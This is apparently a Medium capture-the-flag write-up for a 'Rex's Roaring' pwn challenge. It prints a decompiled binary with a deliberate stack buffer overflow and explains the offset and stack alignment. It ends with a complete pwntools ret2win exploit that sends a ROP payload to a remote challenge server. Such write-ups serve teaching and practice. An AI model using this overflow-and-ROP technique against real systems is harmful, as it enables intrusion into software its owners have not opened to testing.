← Back to list

CipherSprint 2025: PWN - Rex’s Roaring Write Up

1. Decompile the Binary

MrX · 2025-11-09 13:13 · 69 claps · 7.0 min read
#pwn #rop #reverse-engineering
Open on Medium ↗
Wiki topics: 📋 · Product Management

CipherSprint 2025: PWN - Rex’s Roaring Write Up

Challenge

Challenge

1. Decompile the Binary

The challenge was kind of ROP (Return Orientated Programming. First of all I try to decompile the program using online decompilers. Where I can see the whole program at once. It look likes this:

/* This file was generated by the Hex-Rays decompiler version 9.2.0.250908.
   Copyright (c) 2007-2021 Hex-Rays <info@hex-rays.com>

   Detected compiler: GNU C++
*/

#include <defs.h>

//-------------------------------------------------------------------------
// Function declarations

__int64 (**init_proc())(void);
__int64 sub_401020();
__int64 sub_401030(); // weak
__int64 sub_401040(); // weak
__int64 sub_401050(); // weak
__int64 sub_401060(); // weak
__int64 sub_401070(); // weak
__int64 sub_401080(); // weak
__int64 sub_401090(); // weak
__int64 sub_4010A0(); // weak
__int64 sub_4010B0(); // weak
// int puts(const char *s);
// int fclose(FILE *stream);
// int printf(const char *format, ...);
// ssize_t read(int fd, void *buf, size_t nbytes);
// char *fgets(char *s, int n, FILE *stream);
// int fflush(FILE *stream);
// int setvbuf(FILE *stream, char *buf, int modes, size_t n);
// FILE *fopen(const char *filename, const char *modes);
// void __noreturn exit(int status);
void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)());
void dl_relocate_static_pie();
FILE **deregister_tm_clones();
__int64 register_tm_clones();
FILE **_do_global_dtors_aux();
__int64 frame_dummy(); // weak
void gadget_pop_rdi();
void gadget_pop_rsi();
int print_banner();
int vulnerable_roar();
int call_system();
int secret_function();
int __fastcall main(int argc, const char **argv, const char **envp);
int read_flag();
void term_proc();
// int _libc_start_main(int (*main)(int, char **, char **), int argc, char **ubp_av, void (*init)(), void (*fini)(), void (*rtld_fini)(), void *stack_end);
// __int64 _gmon_start__(void); weak

//-------------------------------------------------------------------------
// Data declarations

const char s = '\xE2'; // idb
const char byte_402088 = '\xE2'; // idb
const char byte_4020B8 = '\xE2'; // idb
const char byte_4020E8 = '\xE2'; // idb
const char byte_4022AC = '\xF0'; // idb
const char byte_4022C4 = '\xF0'; // idb
__int64 (*qword_404010)(void) = NULL; // weak
FILE *stdout; // idb
FILE *stdin; // idb
char completed_0; // weak

//----- (0000000000401000) ----------------------------------------------------
// Alternative name is '_init'
__int64 (**init_proc())(void)
{
  __int64 (**result)(void); // rax

  result = &_gmon_start__;
  if ( &_gmon_start__ )
    return (__int64 (**)(void))_gmon_start__();
  return result;
}
// 404138: using guessed type __int64 _gmon_start__(void);

//----- (0000000000401020) ----------------------------------------------------
__int64 sub_401020()
{
  return qword_404010();
}
// 404010: using guessed type __int64 (*qword_404010)(void);

//----- (0000000000401030) ----------------------------------------------------
__int64 sub_401030()
{
  return sub_401020();
}
// 401030: using guessed type __int64 sub_401030();

//----- (0000000000401040) ----------------------------------------------------
__int64 sub_401040()
{
  return sub_401020();
}
// 401040: using guessed type __int64 sub_401040();

//----- (0000000000401050) ----------------------------------------------------
__int64 sub_401050()
{
  return sub_401020();
}
// 401050: using guessed type __int64 sub_401050();

//----- (0000000000401060) ----------------------------------------------------
__int64 sub_401060()
{
  return sub_401020();
}
// 401060: using guessed type __int64 sub_401060();

//----- (0000000000401070) ----------------------------------------------------
__int64 sub_401070()
{
  return sub_401020();
}
// 401070: using guessed type __int64 sub_401070();

//----- (0000000000401080) ----------------------------------------------------
__int64 sub_401080()
{
  return sub_401020();
}
// 401080: using guessed type __int64 sub_401080();

//----- (0000000000401090) ----------------------------------------------------
__int64 sub_401090()
{
  return sub_401020();
}
// 401090: using guessed type __int64 sub_401090();

//----- (00000000004010A0) ----------------------------------------------------
__int64 sub_4010A0()
{
  return sub_401020();
}
// 4010A0: using guessed type __int64 sub_4010A0();

//----- (00000000004010B0) ----------------------------------------------------
__int64 sub_4010B0()
{
  return sub_401020();
}
// 4010B0: using guessed type __int64 sub_4010B0();

//----- (0000000000401150) ----------------------------------------------------
// positive sp value has been detected, the output may be wrong!
void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)())
{
  __int64 v3; // rax
  int v4; // esi
  __int64 v5; // [rsp-8h] [rbp-8h] BYREF
  char *retaddr; // [rsp+0h] [rbp+0h] BYREF

  v4 = v5;
  v5 = v3;
  _libc_start_main((int (*)(int, char **, char **))main, v4, &retaddr, 0, 0, a3, &v5);
  __halt();
}
// 40115A: positive sp value 8 has been found
// 401161: variable 'v3' is possibly undefined

//----- (0000000000401180) ----------------------------------------------------
void dl_relocate_static_pie()
{
  ;
}

//----- (0000000000401190) ----------------------------------------------------
FILE **deregister_tm_clones()
{
  return &stdout;
}

//----- (00000000004011C0) ----------------------------------------------------
__int64 register_tm_clones()
{
  return 0;
}

//----- (0000000000401200) ----------------------------------------------------
FILE **_do_global_dtors_aux()
{
  FILE **result; // rax

  if ( !completed_0 )
  {
    result = deregister_tm_clones();
    completed_0 = 1;
  }
  return result;
}
// 4040D8: using guessed type char completed_0;

//----- (0000000000401230) ----------------------------------------------------
__int64 frame_dummy()
{
  return register_tm_clones();
}
// 401230: using guessed type __int64 frame_dummy();

//----- (0000000000401236) ----------------------------------------------------
void gadget_pop_rdi()
{
  ;
}

//----- (0000000000401243) ----------------------------------------------------
void gadget_pop_rsi()
{
  ;
}

//----- (0000000000401250) ----------------------------------------------------
int print_banner()
{
  puts(&s);
  puts(&byte_402088);
  puts(&byte_4020B8);
  return puts(&byte_4020E8);
}

//----- (0000000000401297) ----------------------------------------------------
int vulnerable_roar()
{
  char buf[64]; // [rsp+0h] [rbp-40h] BYREF

  puts("Rex wants to practice his roar!");
  printf("Help him roar (the louder the better): ");
  fflush(stdout);
  read(0, buf, 0x200u);
  printf("\nRex attempts to roar: %s\n", buf);
  return puts("But it comes out as: 'meep meep'... poor Rex.");
}

//----- (0000000000401318) ----------------------------------------------------
int call_system()
{
  return puts("This function can call system() but needs the right setup!");
}

//----- (0000000000401332) ----------------------------------------------------
int secret_function()
{
  return puts("You found the secret function!");
}

//----- (000000000040134C) ----------------------------------------------------
int __fastcall main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  print_banner();
  vulnerable_roar();
  puts("\nMaybe next time, Rex...");
  return 0;
}

//----- (00000000004013BA) ----------------------------------------------------
int read_flag()
{
  char s[72]; // [rsp+0h] [rbp-50h] BYREF
  FILE *stream; // [rsp+48h] [rbp-8h]

  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    puts("Flag file not found! Contact admin.");
    exit(1);
  }
  fgets(s, 64, stream);
  puts(&byte_4022AC);
  printf(&byte_4022C4, s);
  return fclose(stream);
}

//----- (0000000000401454) ----------------------------------------------------
// Alternative name is '_fini'
void term_proc()
{
  ;
}

// nfuncs=46 queued=26 decompiled=26 lumina nreq=0 worse=0 better=0
// ALL OK, 26 function(s) have been successfully decompiled

2. Analyze the Binary

By analyzing the decompiled C code, we immediately find the vulnerability in the vulnerable_roar function:

int vulnerable_roar()
{
  char buf[64]; // [rsp+0h] [rbp-40h] BYREF  <-- 1. A buffer of 64 bytes is allocated.

  puts("Rex wants to practice his roar!");
  printf("Help him roar (the louder the better): ");
  fflush(stdout);
  read(0, buf, 0x200u);                    <-- 2. The program reads 0x200 (512) bytes.
  ...
}

This is a textbook stack buffer overflow. The read function is instructed to read 512 bytes of data directly into buf, a buffer that can only hold 64 bytes. This allows us to write far past the buffer's boundary, overwriting other data stored on the stack.

3. Identifying the Goal

Our goal isn’t to get a shell, but to call a “win” function that the developers kindly left in the binary. That function is read_flag:

int read_flag()
{
  ...
  stream = fopen("flag.txt", "r"); // <-- Opens the flag
  ...
  fgets(s, 64, stream);
  ...
  printf(&byte_4022C4, s);         // <-- Prints the flag
  ...
}

we know its static address from the decompiler: **0x4013BA**. Our entire objective is to hijack the program's control flow and force it to execute this function.

4. Building the Exploit (The ROP Chain)

To hijack the control flow, we must overwrite the return address that vulnerable_roar uses to return to main.

Step 4a: Finding the Offset

We need to know how many bytes of “junk” to send to fill the buffer and reach the return address. The 64-bit stack layout looks like this:

| ... high memory ... |
+---------------------+
|   Return Address    | <-- 8 bytes (This is what we want to overwrite)
+---------------------+
|    Saved RBP        | <-- 8 bytes (Base pointer from 'main')
+---------------------+
|    char buf[64]     | <-- 64 bytes (Our buffer starts here)
+---------------------+
| ... low memory ...  |

To reach the return address, we must overwrite:

  • The buf (64 bytes)
  • The Saved RBP (8 bytes)

Total Offset = 64 + 8 = 72 bytes. Our payload will start with 72 bytes of junk (e.g., b'A' * 72)

Step 4b: The 16-Byte Stack Alignment Problem (The “Gotcha”)

A simple exploit would be [72 bytes of junk] + [address of read_flag]. However, this will fail.

  • The Problem: Modern C libraries (glibc) are highly optimized. Many functions, especially those in stdio.h (like fopen, printf used by read_flag), use SSE instructions (e.g., movaps) for high-speed data operations. These instructions require the stack pointer (RSP) to be 16-byte aligned.
  • The State of the Stack: When vulnerable_roar executes its ret instruction, it pops our forged return address into the RIP (Instruction Pointer). This pop operation moves the stack pointer by 8 bytes, leaving the RSP at an address that is not 16-byte aligned (it will end in ...8).
  • The Crash: When our read_flag function is called, it eventually calls fopen or printf. These functions execute movaps on the misaligned stack, causing the program to immediately segmentation fault.

Step 4c: The Solution (The ret Gadget)

We need to re-align the stack before read_flag is called. The fix is surprisingly simple: we add a "dummy" ret instruction to our ROP chain.

  • Our New ROP Chain: [72 bytes junk] + [addr_of_ret_gadget] + [addr_of_read_flag]
  • How it Works:
  1. vulnerable_roar returns. It pops our addr_of_ret_gadget into RIP. The stack is now misaligned (ending in ...8).
  2. The CPU jumps to the ret gadget. This ret instruction does one thing: pop rip.
  3. The CPU pops the next value from the stack (our addr_of_read_flag) into RIP.
  4. This pop operation advances the RSP by another 8 bytes.
  5. The stack pointer, which was at ...8, is now at (...8) + 8 = (...0). It is now 16-byte aligned!
  6. The CPU jumps to read_flag. All its internal functions now work perfectly.

Step 4d: Finding the Gadget

We just need the address of any ret instruction. The decompiler shows a perfect one:

//----- (0000000000401454) ----------------------------------------------------
void term_proc()
{
  ;
}

This empty function at **0x401454** compiles to just a ret instruction, making it the perfect alignment gadget.

5. The Final Payload

We can now assemble the final payload:

  1. Padding: b'A' * 72 (to fill the buffer and RBP)
  2. **ret Gadget:** p64(0x401454) (to align the stack)
  3. Target Function: p64(0x4013BA) (the address of read_flag)

Payload: (b'A' * 72) + p64(0x401454) + p64(0x4013BA)

6. Full Exploit Script (pwntools)

This Python script uses pwntools to send the payload and retrieve the flag.

#!/usr/bin/env python3
from pwn import *

p = remote('49.213.52.6', 9996)

# --- Payload ---

# 1. Padding to the return address
# 64 bytes for the buffer + 8 bytes for saved RBP
padding = b'A' * 72

# 2. ROP Gadgets
# We need a 'ret' gadget to align the stack (movaps issue)
# The 'term_proc' function at 0x401454 is a perfect 'ret'.
ret_gadget = p64(0x401454)

# Address of our target function
read_flag_addr = p64(0x4013BA)

# 3. Build the final payload
# The 'ret' gadget will be called first, fixing the stack alignment.
# Then, 'read_flag' will be called on an aligned stack.
payload = padding + ret_gadget + read_flag_addr

log.info("Payload constructed:")
log.info(f"Padding: {len(padding)} bytes")
log.info(f"RET Gadget: {hex(u64(ret_gadget))}")
log.info(f"read_flag:  {hex(u64(read_flag_addr))}")

# --- Send Exploit ---

# Send the payload when prompted
p.sendlineafter(b'Help him roar (the louder the better): ', payload)

# Drop to an interactive shell to see the flag output
log.success("Payload sent! Enjoy the flag:")
p.interactive()

After running the script we can see the flag:


메타데이터
post_id
97bf7b94ccfd
slug
ciphersprint-2025-pwn-rexs-roaring-write-up-97bf7b94ccfd
url
https://medium.com/@MrX2025/ciphersprint-2025-pwn-rexs-roaring-write-up-97bf7b94ccfd
canonical_url
https://medium.com/@MrX2025/ciphersprint-2025-pwn-rexs-roaring-write-up-97bf7b94ccfd
author_url
https://medium.com/@MrX2025
status
ok
fetched_at
2026-06-13 07:35:29